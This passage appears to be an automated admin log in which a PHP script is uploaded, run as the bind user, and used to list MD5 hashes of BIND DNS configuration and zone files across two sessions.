MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:31:46: Establishing a connection
2026-04-22 22:31:46: 

PUT: /tmp/pkp375732

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:31:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp375732; rm /tmp/pkp375732'

2026-04-22 22:31:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:32:23: Establishing a connection
2026-04-22 22:32:23: 

PUT: /tmp/pkp656963

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:32:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp656963; rm /tmp/pkp656963'

2026-04-22 22:32:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
